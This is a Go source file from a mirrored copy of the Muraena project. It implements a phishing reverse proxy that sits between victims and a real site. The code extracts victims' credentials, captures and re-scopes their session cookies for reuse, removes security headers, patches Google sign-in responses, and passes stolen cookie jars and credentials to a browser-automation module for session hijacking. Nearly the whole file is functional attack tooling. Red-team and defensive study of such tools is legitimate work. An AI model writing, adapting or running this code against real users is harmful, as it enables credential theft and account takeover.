mirror of
https://github.com/muraenateam/muraena.git
synced 2026-01-23 02:24:05 +00:00
818 lines
22 KiB
Go
818 lines
22 KiB
Go
package proxy
|
|
|
|
import (
|
|
"bufio"
|
|
"bytes"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"io/ioutil"
|
|
"net/http"
|
|
"net/url"
|
|
"regexp"
|
|
"strconv"
|
|
"strings"
|
|
"unicode/utf8"
|
|
|
|
"github.com/evilsocket/islazy/tui"
|
|
. "github.com/logrusorgru/aurora"
|
|
"github.com/pkg/errors"
|
|
|
|
"github.com/muraenateam/muraena/core"
|
|
"github.com/muraenateam/muraena/module/necrobrowser"
|
|
|
|
"github.com/muraenateam/muraena/core/db"
|
|
"github.com/muraenateam/muraena/log"
|
|
"github.com/muraenateam/muraena/module/statichttp"
|
|
"github.com/muraenateam/muraena/module/tracking"
|
|
"github.com/muraenateam/muraena/session"
|
|
)
|
|
|
|
type MuraenaProxyInit struct {
|
|
Session *session.Session
|
|
Replacer *Replacer
|
|
|
|
Origin string // proxy origin (phishing site)
|
|
Target string // proxy destination (real site)
|
|
}
|
|
|
|
type MuraenaProxy struct {
|
|
Session *session.Session
|
|
|
|
Origin string // proxy origin (phishing site)
|
|
Target *url.URL // proxy destination (real site)
|
|
Victim string // UUID
|
|
ReverseProxy *ReverseProxy
|
|
Tracker *tracking.Tracker
|
|
Replacer *Replacer
|
|
}
|
|
|
|
type SessionType struct {
|
|
Session *session.Session
|
|
Replacer *Replacer
|
|
}
|
|
|
|
func RedirectToHTTPS(port int) http.HandlerFunc {
|
|
|
|
return func(w http.ResponseWriter, req *http.Request) {
|
|
|
|
var re = regexp.MustCompile(`(:\d+)$`)
|
|
host := re.ReplaceAllString(req.Host, "")
|
|
|
|
newURL := fmt.Sprintf("https://%s%s", host, req.URL.String())
|
|
if port != 443 {
|
|
newURL = fmt.Sprintf("https://%s:%d%s", host, port, req.URL.String())
|
|
}
|
|
|
|
log.Info("Redirecting HTTP to HTTPS: %s", newURL)
|
|
http.Redirect(w, req, newURL, http.StatusMovedPermanently)
|
|
}
|
|
}
|
|
|
|
func (muraena *MuraenaProxy) RequestBodyProcessor(request *http.Request, track *tracking.Trace, base64 Base64) (err error) {
|
|
if request.Body != nil {
|
|
|
|
// Replacer object
|
|
replacer := muraena.Replacer
|
|
|
|
r := request.Body
|
|
buf, err := ioutil.ReadAll(r)
|
|
if err != nil {
|
|
log.Error("%s", err)
|
|
return err
|
|
}
|
|
err = request.Body.Close()
|
|
if err != nil {
|
|
log.Error("%s", err)
|
|
return err
|
|
}
|
|
|
|
// defer r.Close()
|
|
defer func() {
|
|
if err = r.Close(); err != nil {
|
|
log.Error("Error in r.Close(): %+v", err)
|
|
}
|
|
}()
|
|
|
|
bodyString := string(buf)
|
|
|
|
// Trace credentials
|
|
if muraena.Session.Config.Tracking.Enabled && track.IsValid() {
|
|
found, err := track.ExtractCredentials(bodyString, request)
|
|
if err != nil {
|
|
return errors.New(fmt.Sprintf("ExtractCredentials error: %s", err))
|
|
}
|
|
|
|
if found == true {
|
|
// muraena.Tracker.ShowVictims()
|
|
}
|
|
}
|
|
|
|
transform := replacer.Transform(bodyString, true, base64)
|
|
request.Body = ioutil.NopCloser(bytes.NewReader([]byte(transform)))
|
|
request.ContentLength = int64(len(transform))
|
|
request.Header.Set("Content-Length", strconv.Itoa(len(transform)))
|
|
}
|
|
return
|
|
}
|
|
|
|
func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error) {
|
|
|
|
sess := muraena.Session
|
|
base64 := Base64{
|
|
sess.Config.Transform.Base64.Enabled,
|
|
sess.Config.Transform.Base64.Padding,
|
|
}
|
|
|
|
// Replacer object
|
|
replacer := muraena.Replacer
|
|
|
|
//
|
|
// TRACKING
|
|
track := muraena.Tracker.TrackRequest(request)
|
|
|
|
// If specified in the configuration, set the User-Agent header
|
|
if sess.Config.Transform.Request.UserAgent != "" {
|
|
request.Header.Set("User-Agent", sess.Config.Transform.Request.UserAgent)
|
|
}
|
|
|
|
//
|
|
// BODY
|
|
//
|
|
// Transform body
|
|
if len(sess.Config.Transform.Request.CustomContent) > 0 {
|
|
|
|
// Make sure the content type is not binary
|
|
|
|
if request.Body != nil {
|
|
r := request.Body
|
|
buf, err := ioutil.ReadAll(r)
|
|
if err != nil {
|
|
log.Error("unable to transform request body: %s", err)
|
|
goto skip
|
|
}
|
|
err = request.Body.Close()
|
|
if err != nil {
|
|
log.Error("unable to transform request body: %s", err)
|
|
goto skip
|
|
}
|
|
|
|
defer r.Close()
|
|
|
|
// CustomContent is an [][]string containing the following:
|
|
// [0] is the string to be replaced
|
|
// [1] is the string to replace with
|
|
// Example: [["foo", "bar"], ["bar", "foo"]]
|
|
if !utf8.Valid(buf) {
|
|
log.Debug("skip binary content from request body replacement in %s", request.URL.Path)
|
|
goto skip
|
|
}
|
|
|
|
bodyString := string(buf)
|
|
for _, cc := range sess.Config.Transform.Request.CustomContent {
|
|
bodyString = strings.Replace(bodyString, cc[0], cc[1], -1)
|
|
}
|
|
|
|
request.Body = io.NopCloser(bytes.NewReader([]byte(bodyString)))
|
|
request.ContentLength = int64(len(bodyString))
|
|
request.Header.Set("Content-Length", strconv.Itoa(len(bodyString)))
|
|
|
|
}
|
|
}
|
|
|
|
skip:
|
|
{
|
|
}
|
|
|
|
//
|
|
// HEADERS
|
|
//
|
|
// Transform query string using internal core.url instead of net.url
|
|
query, err := core.ParseQuery(request.URL.RawQuery)
|
|
if err != nil {
|
|
log.Error("URL: %s \n %s", request.URL, err.Error())
|
|
}
|
|
|
|
for pKey := range query {
|
|
for k, v := range query[pKey] {
|
|
query[pKey][k] = replacer.Transform(v, true, base64)
|
|
if v != query[pKey][k] {
|
|
log.Verbose("[Query] Transformed %s to %s", v, query[pKey][k])
|
|
}
|
|
}
|
|
}
|
|
|
|
// Restore query string with new values
|
|
request.URL.RawQuery = query.Encode()
|
|
|
|
// Transform HTTP headers of interest
|
|
request.Host = muraena.Target.Host
|
|
|
|
for _, header := range sess.Config.Transform.Request.Headers {
|
|
if request.Header.Get(header) != "" {
|
|
hVal := request.Header.Get(header)
|
|
hURL, err := replacer.transformUrl(hVal, base64)
|
|
if err != nil {
|
|
log.Warning("Error transforming request URL:\n%+v", err)
|
|
continue
|
|
}
|
|
|
|
if hVal != hURL {
|
|
request.Header.Set(header, hURL)
|
|
log.Verbose("Patched HTTP %s to %s", tui.Bold(tui.Red(header)), tui.Bold(tui.Red(request.Header.Get(header))))
|
|
}
|
|
}
|
|
}
|
|
|
|
// Track request cookies (if enabled)
|
|
if muraena.Session.Config.Tracking.TrackRequestCookies && track.IsValid() {
|
|
if len(request.Cookies()) > 0 {
|
|
// get victim:
|
|
victim, err := muraena.Tracker.GetVictim(track)
|
|
if err != nil {
|
|
log.Warning("%s", err)
|
|
} else {
|
|
// store cookies in the Victim object
|
|
for _, c := range request.Cookies() {
|
|
if c.Domain == "" {
|
|
c.Domain = request.Host
|
|
}
|
|
|
|
// remove any port from the cookie domain
|
|
c.Domain = strings.Split(c.Domain, ":")[0]
|
|
|
|
// make the cookie domain wildcard
|
|
subdomains := strings.Split(c.Domain, ".")
|
|
if len(subdomains) > 2 {
|
|
c.Domain = fmt.Sprintf("%s", strings.Join(subdomains[1:], "."))
|
|
} else {
|
|
c.Domain = fmt.Sprintf("%s", c.Domain)
|
|
}
|
|
|
|
sessCookie := db.VictimCookie{
|
|
Name: c.Name,
|
|
Value: c.Value,
|
|
Domain: c.Domain,
|
|
Path: "/",
|
|
HTTPOnly: false,
|
|
Secure: true,
|
|
Session: true,
|
|
SameSite: "None",
|
|
Expires: "2040-01-01 00:00:00 +0000 UTC",
|
|
}
|
|
muraena.Tracker.PushCookie(victim, sessCookie)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Add extra HTTP headers
|
|
for _, header := range sess.Config.Transform.Request.Add.Headers {
|
|
request.Header.Set(header.Name, header.Value)
|
|
}
|
|
|
|
// Log line
|
|
lhead := fmt.Sprintf("[%s]", GetSenderIP(request))
|
|
if sess.Config.Tracking.Enabled {
|
|
lhead = fmt.Sprintf("[%*s]%s", track.TrackerLength, track.ID, lhead)
|
|
}
|
|
|
|
l := fmt.Sprintf("%s [%s][%s%s%s]",
|
|
lhead,
|
|
Magenta(request.Method),
|
|
Magenta(sess.Config.Proxy.Protocol), Yellow(request.Host), Cyan(request.URL.Path))
|
|
|
|
if track.IsValid() {
|
|
log.Debug(l)
|
|
} else {
|
|
log.Verbose(l)
|
|
}
|
|
|
|
// Remove headers
|
|
for _, header := range sess.Config.Transform.Request.Remove.Headers {
|
|
request.Header.Del(header)
|
|
}
|
|
|
|
//
|
|
// BODY
|
|
//
|
|
|
|
// If the requested resource extension is no relevant, skip body processing.
|
|
for _, extension := range sess.Config.Transform.Request.SkipExtensions {
|
|
if strings.HasSuffix(request.URL.Path, fmt.Sprintf(".%s", extension)) {
|
|
return
|
|
}
|
|
}
|
|
|
|
if muraena.Session.Config.Tracking.Enabled && track.IsValid() {
|
|
log.Verbose("Hijacking session: %s at %s", track.ID, request.URL.Path)
|
|
err = track.HijackSession(request)
|
|
if err != nil {
|
|
log.Warning("Error Hijacking Session: %s", err)
|
|
return nil
|
|
}
|
|
}
|
|
|
|
// Transform body
|
|
err = muraena.RequestBodyProcessor(request, track, base64)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// GetSenderIP returns the IP address of the client that sent the request.
|
|
// It checks the following headers in cascade order:
|
|
// - True-Client-IP
|
|
// - CF-Connecting-IP
|
|
// - X-Forwarded-For
|
|
// If none of the headers contain a valid IP, it falls back to RemoteAddr.
|
|
// TODO Update Watchdog to use this function
|
|
func GetSenderIP(req *http.Request) string {
|
|
// Define the headers to check in cascade order
|
|
headerNames := []string{"True-Client-IP", "CF-Connecting-IP", "X-Forwarded-For"}
|
|
|
|
// Loop through the headers and return the first non-empty IP address found
|
|
for _, headerName := range headerNames {
|
|
ipAddress := req.Header.Get(headerName)
|
|
if ipAddress != "" {
|
|
// The header may contain a comma-separated list of IP addresses; the client's IP is the leftmost one
|
|
parts := strings.Split(ipAddress, ",")
|
|
clientIP := strings.TrimSpace(parts[0])
|
|
return clientIP
|
|
}
|
|
}
|
|
|
|
log.Verbose("Sender IP not found in headers, falling back to RemoteAddr")
|
|
|
|
// If none of the headers contain a valid IP, fall back to RemoteAddr
|
|
ipPort := req.RemoteAddr
|
|
parts := strings.Split(ipPort, ":")
|
|
ipAddress := parts[0]
|
|
|
|
return ipAddress
|
|
}
|
|
|
|
func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err error) {
|
|
|
|
sess := muraena.Session
|
|
base64 := Base64{
|
|
sess.Config.Transform.Base64.Enabled,
|
|
sess.Config.Transform.Base64.Padding,
|
|
}
|
|
|
|
if response.Request.Header.Get(muraena.Tracker.LandingHeader) != "" {
|
|
response.StatusCode = 302
|
|
response.Header.Add(muraena.Tracker.Header, response.Request.Header.Get(muraena.Tracker.Header))
|
|
response.Header.Add("Set-Cookie",
|
|
fmt.Sprintf("%s=%s; Domain=%s; Path=/; Expires=Wed, 30 Aug 2029 00:00:00 GMT",
|
|
muraena.Session.Config.Tracking.Trace.Identifier, response.Request.Header.Get(muraena.Tracker.Header),
|
|
muraena.Session.Config.Proxy.Phishing))
|
|
response.Header.Set("Location", response.Request.Header.Get(muraena.Tracker.LandingHeader))
|
|
return
|
|
}
|
|
|
|
// Replacer object
|
|
replacer := muraena.Replacer
|
|
|
|
// Add extra HTTP headers
|
|
for _, header := range sess.Config.Transform.Response.Add.Headers {
|
|
response.Header.Set(header.Name, header.Value)
|
|
}
|
|
|
|
//
|
|
// HEADERS
|
|
//
|
|
// delete security headers
|
|
for _, header := range sess.Config.Transform.Response.Remove.Headers {
|
|
response.Header.Del(header)
|
|
}
|
|
|
|
// transform headers of interest
|
|
for _, header := range sess.Config.Transform.Response.Headers {
|
|
if response.Header.Get(header) != "" {
|
|
if header == "Set-Cookie" {
|
|
for k, value := range response.Header["Set-Cookie"] {
|
|
response.Header["Set-Cookie"][k] = replacer.Transform(value, false, base64)
|
|
|
|
// When the cookie is set for a wildcard domain, we need to replace the domain
|
|
// with the phishing domain.
|
|
if strings.Contains(response.Header["Set-Cookie"][k], "domain="+replacer.WildcardPrefix()) {
|
|
// Replace the domain
|
|
domain := strings.Split(response.Header["Set-Cookie"][k], "domain=")[1]
|
|
domain = strings.Split(domain, ";")[0]
|
|
newDomain := "." + replacer.Phishing
|
|
response.Header["Set-Cookie"][k] = strings.Replace(response.Header["Set-Cookie"][k], domain, newDomain, 1)
|
|
}
|
|
|
|
// Further, if the SameSite attribute is set in the configuration, we need to patch the cookie
|
|
if sess.Config.Transform.Response.Cookie.SameSite != "" {
|
|
cookie := response.Header["Set-Cookie"][k]
|
|
|
|
// if cookie contains SameSite (case insensitive)
|
|
samesite := ""
|
|
if strings.Contains(strings.ToLower(cookie), "samesite") {
|
|
samesite = strings.Split(cookie, "SameSite=")[1]
|
|
samesite = strings.Split(samesite, ";")[0]
|
|
}
|
|
|
|
if samesite != "" {
|
|
cookie = strings.Replace(cookie, samesite, sess.Config.Transform.Response.Cookie.SameSite, 1)
|
|
} else {
|
|
cookie = cookie + ";SameSite=" + sess.Config.Transform.Response.Cookie.SameSite
|
|
}
|
|
|
|
response.Header["Set-Cookie"][k] = cookie
|
|
}
|
|
|
|
log.Verbose("Set-Cookie: %s", response.Header["Set-Cookie"][k])
|
|
}
|
|
// } else if header == "Location" {
|
|
// response.Header.Set(header, replacer.Transform(response.Header.Get(header), false, base64))
|
|
} else {
|
|
response.Header.Set(header, replacer.Transform(response.Header.Get(header), false, base64))
|
|
}
|
|
}
|
|
}
|
|
|
|
// Media LandingType handling.
|
|
// Prevent processing of unwanted media types
|
|
mediaType := strings.ToLower(response.Header.Get("Content-Type"))
|
|
for _, skip := range sess.Config.Transform.Response.SkipContentType {
|
|
skip = strings.ToLower(skip)
|
|
|
|
if mediaType == skip {
|
|
return
|
|
}
|
|
|
|
if strings.HasSuffix(skip, "/*") &&
|
|
strings.Split(mediaType, "/")[0] == strings.Split(skip, "/*")[0] {
|
|
return
|
|
}
|
|
}
|
|
|
|
//
|
|
// Trace
|
|
//
|
|
if muraena.Session.Config.Tracking.Enabled {
|
|
trace := muraena.Tracker.TrackResponse(response)
|
|
if trace.IsValid() {
|
|
|
|
var err error
|
|
victim, err := muraena.Tracker.GetVictim(trace)
|
|
if err != nil {
|
|
log.Warning("Error: cannot retrieve Victim from tracker: %s", err)
|
|
}
|
|
|
|
if victim != nil {
|
|
// before transforming headers like cookies, store the cookies in the CookieJar
|
|
for _, c := range response.Cookies() {
|
|
if c.Domain == "" {
|
|
c.Domain = response.Request.Host
|
|
}
|
|
|
|
c.Domain = strings.Replace(c.Domain, ":443", "", -1)
|
|
sessCookie := db.VictimCookie{
|
|
Name: c.Name,
|
|
Value: c.Value,
|
|
Domain: c.Domain,
|
|
Expires: c.Expires.String(), // will be set by necrobrowser
|
|
Path: c.Path,
|
|
HTTPOnly: c.HttpOnly,
|
|
Secure: c.Secure,
|
|
}
|
|
|
|
muraena.Tracker.PushCookie(victim, sessCookie)
|
|
}
|
|
|
|
// Trace credentials
|
|
found, err := trace.ExtractCredentialsFromResponseHeaders(response)
|
|
if err != nil {
|
|
return errors.New(fmt.Sprintf("ExtractCredentialsFromResponseHeaders error: %s", err))
|
|
}
|
|
|
|
if found == true {
|
|
// muraena.Tracker.ShowVictims()
|
|
}
|
|
|
|
if muraena.Session.Config.Necrobrowser.Enabled {
|
|
m, err := muraena.Session.Module("necrobrowser")
|
|
if err != nil {
|
|
log.Error("%s", err)
|
|
} else {
|
|
nb, ok := m.(*necrobrowser.Necrobrowser)
|
|
if ok {
|
|
|
|
getSession := false
|
|
for _, c := range muraena.Session.Config.Necrobrowser.SensitiveLocations.AuthSessionResponse {
|
|
if response.Request.URL.Path == c {
|
|
// log.Debug("Going to hijack response: %s (Victim: %+v)", response.Request.URL.Path, victim.ID)
|
|
getSession = true
|
|
break
|
|
}
|
|
}
|
|
|
|
if getSession {
|
|
// Pass credentials
|
|
creds, err := json.MarshalIndent(victim.Credentials, "", "\t")
|
|
if err != nil {
|
|
log.Warning(err.Error())
|
|
} else {
|
|
err := victim.GetVictimCookiejar()
|
|
if err != nil {
|
|
log.Error(err.Error())
|
|
} else {
|
|
go nb.Instrument(victim.ID, victim.Cookies, string(creds))
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
} else {
|
|
if len(response.Cookies()) > 0 {
|
|
log.Verbose("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
//
|
|
// BODY
|
|
//
|
|
// unpack response body
|
|
modResponse := Response{Response: response}
|
|
responseBuffer, err := modResponse.Unpack()
|
|
if err != nil {
|
|
log.Info("Error reading/deflating response: %+v", err)
|
|
return err
|
|
}
|
|
|
|
// process body and pack again
|
|
newBody := replacer.Transform(string(responseBuffer), false, base64)
|
|
|
|
// Ugly Google patch
|
|
if strings.Contains(response.Request.URL.Path, "AccountsSignInUi/data/batchexecute") {
|
|
if strings.Contains(newBody, muraena.Session.Config.Proxy.Phishing) {
|
|
if strings.HasPrefix(newBody, ")]}'\n\n") {
|
|
newBody = patchGoogleStructs(newBody)
|
|
}
|
|
}
|
|
}
|
|
|
|
err = modResponse.Encode([]byte(newBody))
|
|
if err != nil {
|
|
log.Info("Error processing the body: %+v", err)
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (muraena *MuraenaProxy) ProxyErrHandler(response http.ResponseWriter, request *http.Request, err error) {
|
|
log.Debug("[errHandler] \n\t%+v \n\t in request %s %s%s", err, request.Method, request.Host, request.URL.Path)
|
|
}
|
|
|
|
func (init *MuraenaProxyInit) Spawn() *MuraenaProxy {
|
|
sess := init.Session
|
|
|
|
destination, err := url.Parse(init.Target)
|
|
if err != nil {
|
|
log.Info("Error parsing destination URL: %s", err)
|
|
}
|
|
|
|
muraena := &MuraenaProxy{
|
|
Session: sess,
|
|
Origin: init.Origin,
|
|
Target: destination,
|
|
ReverseProxy: NewSingleHostReverseProxy(destination),
|
|
Replacer: init.Replacer,
|
|
}
|
|
|
|
m, err := sess.Module("tracker")
|
|
if err != nil {
|
|
log.Error("%s", err)
|
|
}
|
|
|
|
tracker, ok := m.(*tracking.Tracker)
|
|
if ok {
|
|
muraena.Tracker = tracker
|
|
}
|
|
|
|
proxy := muraena.ReverseProxy
|
|
|
|
director := proxy.Director
|
|
proxy.Director = func(r *http.Request) {
|
|
|
|
// If request matches the redirect list, redirect it without processing
|
|
if redirect := muraena.getHTTPRedirect(r); redirect != nil {
|
|
// Retrieve the http.ResponseWriter from the context
|
|
if rw, ok := r.Context().Value(0).(http.ResponseWriter); ok {
|
|
http.Redirect(rw, r, redirect.RedirectTo, redirect.HTTPStatusCode)
|
|
} else {
|
|
log.Error("Failed to retrieve the http.ResponseWriter from the context")
|
|
}
|
|
|
|
return
|
|
}
|
|
|
|
if err = muraena.RequestProcessor(r); err != nil {
|
|
log.Error(err.Error())
|
|
return
|
|
}
|
|
|
|
// Send the request to the target
|
|
director(r)
|
|
}
|
|
proxy.ModifyResponse = muraena.ResponseProcessor
|
|
proxy.ErrorHandler = muraena.ProxyErrHandler
|
|
|
|
// Attach TLS configurations to proxy
|
|
transport := http.Transport{TLSClientConfig: sess.GetTLSClientConfig()}
|
|
if *sess.Options.Proxy {
|
|
// If HTTP_PROXY or HTTPS_PROXY env variables are defined
|
|
// all the proxy traffic will be forwarded to the defined proxy.
|
|
// Basically a MiTM of the MiTM :)
|
|
transport.Proxy = http.ProxyFromEnvironment
|
|
transport.TLSClientConfig.InsecureSkipVerify = true
|
|
}
|
|
proxy.Transport = &transport
|
|
|
|
return muraena
|
|
}
|
|
|
|
func (muraena *MuraenaProxy) getHTTPRedirect(request *http.Request) *session.Redirect {
|
|
|
|
for _, drop := range muraena.Session.Config.Redirects {
|
|
// Skip if Hostname is set and the request Hostname is different from the expected one
|
|
if drop.Hostname != "" && request.Host != drop.Hostname {
|
|
continue
|
|
}
|
|
|
|
// Skip if Path is set and the request Path is different from the expected one
|
|
if drop.Path != "" && request.URL.Path != drop.Path {
|
|
continue
|
|
}
|
|
|
|
// Skip if Query is set and the request Query is different from the expected one
|
|
if drop.Query != "" && request.URL.RawQuery != drop.Query {
|
|
continue
|
|
}
|
|
|
|
log.Info("[Dropped] %s", request.URL.String())
|
|
|
|
// Invalid HTTP code fallback to 302
|
|
if drop.HTTPStatusCode == 0 {
|
|
drop.HTTPStatusCode = 302
|
|
}
|
|
|
|
return &drop
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
func (st SessionType) HandleFood(response http.ResponseWriter, request *http.Request) {
|
|
var destination string
|
|
|
|
if st.Session.Config.StaticServer.Enabled {
|
|
m, err := st.Session.Module("static.http")
|
|
if err != nil {
|
|
log.Error("%s", err)
|
|
}
|
|
|
|
ss, ok := m.(*statichttp.StaticHTTP)
|
|
if ok {
|
|
destination = ss.GetNewDestination(request.URL)
|
|
}
|
|
}
|
|
|
|
if destination == "" {
|
|
|
|
// CustomContent Subdomain Mapping
|
|
subs := strings.Split(request.Host, st.Replacer.Phishing)
|
|
if len(subs) > 1 {
|
|
sub := strings.Replace(subs[0], ".", "", -1)
|
|
for _, m := range st.Session.Config.Origins.SubdomainMap {
|
|
if m[0] == sub {
|
|
request.Host = fmt.Sprintf("%s.%s", m[1], st.Replacer.Phishing)
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
if strings.Contains(request.Host, st.Replacer.getCustomWildCardSeparator()) {
|
|
request.Host = st.Replacer.PatchComposedWildcardURL(request.Host)
|
|
}
|
|
|
|
if strings.HasPrefix(request.Host, st.Replacer.ExternalOriginPrefix) { // external domain mapping
|
|
for domain, subMapping := range st.Replacer.GetOrigins() {
|
|
// even if the resource is aa.bb.cc.dom.tld, the mapping is always one level as in www--2.phishing.tld.
|
|
// This is important since wildcard SSL certs do not handle N levels of nesting
|
|
if subMapping == strings.Split(request.Host, ".")[0] {
|
|
destination = fmt.Sprintf("%s%s", st.Session.Config.Proxy.Protocol,
|
|
strings.Replace(request.Host,
|
|
fmt.Sprintf("%s.%s", subMapping, st.Replacer.Phishing),
|
|
domain, -1))
|
|
break
|
|
}
|
|
}
|
|
} else {
|
|
destination = fmt.Sprintf("%s%s", st.Session.Config.Proxy.Protocol,
|
|
strings.Replace(request.Host, st.Replacer.Phishing, st.Replacer.Target, -1))
|
|
}
|
|
}
|
|
|
|
// PortMapping
|
|
if st.Session.Config.Proxy.PortMap != "" {
|
|
destURL, err := url.Parse(destination)
|
|
if err != nil {
|
|
log.Error("%s", err)
|
|
} else {
|
|
port := destURL.Port()
|
|
if port == "" && destURL.Scheme == "https" {
|
|
port = "443"
|
|
destination = fmt.Sprintf("%s:%s", destination, port)
|
|
} else if port == "" && destURL.Scheme == "http" {
|
|
port = "80"
|
|
destination = fmt.Sprintf("%s:%s", destination, port)
|
|
}
|
|
|
|
if strings.HasPrefix(st.Session.Config.Proxy.PortMap, fmt.Sprintf("%s:", port)) {
|
|
newport := strings.Split(st.Session.Config.Proxy.PortMap, ":")[1]
|
|
destination = strings.Replace(destination, fmt.Sprintf(":%s", port), fmt.Sprintf(":%s", newport), 1)
|
|
}
|
|
}
|
|
}
|
|
|
|
if destination == "" {
|
|
log.Error("Unexpected request at: %s", request.Host)
|
|
return
|
|
}
|
|
|
|
muraena := &MuraenaProxyInit{
|
|
Origin: request.Host,
|
|
Target: destination,
|
|
Session: st.Session,
|
|
Replacer: st.Replacer,
|
|
}
|
|
|
|
muraenaProxy := muraena.Spawn()
|
|
if muraenaProxy == nil {
|
|
return
|
|
}
|
|
|
|
// The httputil ReverseProxy leaks some information via X-Forwarded-For header:
|
|
// https://github.com/golang/go/blob/master/src/net/http/httputil/reverseproxy.go#L249
|
|
//
|
|
// Therefore, the actual version of reverseproxy.go used in this project
|
|
// has been slightly modified in the ServeHTTP method:
|
|
muraenaProxy.ReverseProxy.ServeHTTP(response, request)
|
|
}
|
|
|
|
// patchGoogleStructs is a temporary workaround for the Google Structs issue.
|
|
func patchGoogleStructs(input string) string {
|
|
var builder strings.Builder
|
|
|
|
// Splitting the input into sections and processing
|
|
scanner := bufio.NewScanner(strings.NewReader(input))
|
|
for scanner.Scan() {
|
|
line := scanner.Text()
|
|
|
|
// Check if the line is a number (size indicator)
|
|
if size, err := strconv.Atoi(line); err == nil {
|
|
// Read the next line (message content)
|
|
if scanner.Scan() {
|
|
message := scanner.Text()
|
|
|
|
// Calculate the new size including the newline characters
|
|
newSize := len(message) + 2 // +2 for the two newline characters
|
|
|
|
// Update the size if it's different
|
|
if newSize != size+1 {
|
|
fmt.Fprintln(&builder, newSize)
|
|
} else {
|
|
fmt.Fprintln(&builder, size)
|
|
}
|
|
|
|
// Print the message content
|
|
fmt.Fprintln(&builder, message)
|
|
} else {
|
|
// fmt.Fprintln(&builder, "Error: Expected message content after size indicator.")
|
|
return builder.String()
|
|
}
|
|
} else {
|
|
// Print non-size indicator lines as is
|
|
fmt.Fprintln(&builder, line)
|
|
}
|
|
}
|
|
|
|
if err := scanner.Err(); err != nil {
|
|
fmt.Fprintln(&builder, "Error reading input:", err)
|
|
}
|
|
|
|
return builder.String()
|
|
}
|